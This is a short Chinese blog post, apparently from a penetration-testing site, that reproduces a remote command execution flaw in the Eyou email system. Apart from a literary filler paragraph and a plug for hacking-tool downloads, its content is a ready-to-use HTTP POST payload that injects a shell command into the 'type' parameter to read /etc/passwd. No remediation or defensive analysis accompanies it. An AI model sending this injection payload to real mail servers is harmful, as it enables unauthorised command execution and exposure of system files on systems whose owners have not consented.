正文

亿邮电子邮件系统远程命令执行

admin
admin V管理员 /0 评论 /46 阅读
1020
此篇文章发布距今已超过34天，您需要注意文章的内容或图片是否可用！
往事不会像烟雾似的飘散，将永远像铅般沉重的浇铸在心灵深处。不过，日常生活的纷繁不会让人专注地缅怀于自己的不幸。即使是人的心灵伤痕累累，也还要去为现实生活中的生存和发展而挣扎。

漏洞复现

访问漏洞url

构造payload

POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1type='|cat /etc/passwd||'

漏洞证明

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。


推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
周飒博客-ZhouSa.com